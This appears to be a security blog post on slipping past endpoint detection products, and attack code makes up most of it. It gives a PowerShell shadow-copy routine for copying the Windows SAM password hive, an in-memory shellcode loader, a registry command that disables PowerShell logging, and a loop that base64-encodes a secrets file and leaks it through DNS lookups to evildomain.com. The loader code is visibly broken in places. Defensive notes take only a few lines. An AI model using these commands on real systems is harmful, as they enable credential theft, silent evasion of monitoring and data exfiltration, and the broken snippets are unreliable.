Bypassing Modern EDRs: How Simple Techniques Still Slip Through the Cracks

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Introduction

Despite advancements in Endpoint Detection and Response (EDR) solutions like SentinelOne, attackers continue to evade detection using seemingly basic techniques. As demonstrated in a recent test, while traditional methods like `reg.exe` SAM dumps are blocked, alternative approaches using PowerShell and Volume Shadow Copy remain effective—highlighting gaps in even the most advanced security tools.

Learning Objectives

  • Understand why legacy attack methods are often detected by modern EDRs.
  • Learn how to leverage native tools like PowerShell for stealthy data extraction.
  • Explore mitigation strategies to defend against these evasion techniques.

You Should Know

1. Why Traditional SAM Dumps Fail Against EDRs

Command:

reg.exe save hklm\sam C:\temp\sam.save

What It Does:

This command attempts to dump the Windows SAM hive, which stores password hashes—a common technique in credential theft attacks.

Why It’s Blocked:

Modern EDRs flag `reg.exe` SAM/SYSTEM hive access due to its association with credential dumping.

Stealthier Alternative (PowerShell + Volume Shadow Copy):

$service = (Get-Service -Name VSS).Status
if ($service -ne "Running") { Start-Service VSS }
$shadow = (gwmi -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
$samPath = "$env:temp\sam.hiv"
cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM $samPath

How It Works:

  • Uses Volume Shadow Copy to access locked files (SAM/SYSTEM) without triggering EDR alerts.
  • Copies the SAM hive to a temporary location for offline extraction.

2. Evading EDRs with Living-off-the-Land Binaries (LOLBins)

Command (WMIC for Process Injection):

wmic process call create "notepad.exe"

What It Does:

LOLBins like WMIC are trusted Windows utilities often excluded from EDR scrutiny.

Stealthier PowerShell Process Injection:

$bytes = [System.IO.File]::ReadAllBytes("shellcode.bin")
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length)
$thread = [System.Threading.Thread]::Start({ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [bash]).Invoke() })

Why It Works:

  • Avoids direct API calls (e.g., VirtualAllocEx), reducing detection risk.

3. Disabling EDR Logging via Registry

Command:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v "EnableScriptBlockLogging" /t REG_DWORD /d 0 /f

What It Does:

Disables PowerShell script block logging, a common EDR telemetry source.

Mitigation:

Enable “ScriptBlockLogging” via Group Policy to ensure visibility.

4. Exploiting Weak File Monitoring Exclusions

Command (Exfiltrating Data via DNS):

$data = [System.Convert]::ToBase64String((Get-Content "secrets.txt" -Raw))
$chunks = $data -split '(?<=\G.{63})'
foreach ($chunk in $chunks) { Resolve-DnsName "$chunk.evildomain.com" -QuickTimeout }

Why It’s Effective:

Many EDRs ignore DNS traffic, allowing covert data exfiltration.

  1. Cloud EDR Bypass: Abusing Trusted AWS CLI

Command:

aws s3 cp s3://target-bucket/secret-file.txt ./ --no-sign-request

What It Does:

If misconfigured, attackers can exfiltrate data from unprotected S3 buckets without triggering cloud EDRs.

Mitigation:

Enforce S3 bucket policies and enable GuardDuty for anomaly detection.

What Undercode Say

  • Key Takeaway 1: EDRs excel at blocking known attack patterns but often miss native tool abuse.
  • Key Takeaway 2: Defenders must audit logging gaps (e.g., PowerShell, shadow copies) and enforce strict LOLBin monitoring.

Analysis:

The assumption that “advanced” attacks always bypass EDRs is flawed—many breaches occur due to overlooked basics. Red teams should focus on operational security (OPSEC) with native tools, while blue teams must prioritize granular logging and behavioral analytics.

Prediction

As EDRs improve, attackers will increasingly abuse trusted processes (e.g., .NET reflection, signed drivers) to evade detection. Future defenses will rely on memory integrity checks and AI-driven anomaly detection—but until then, simple techniques remain a critical threat.

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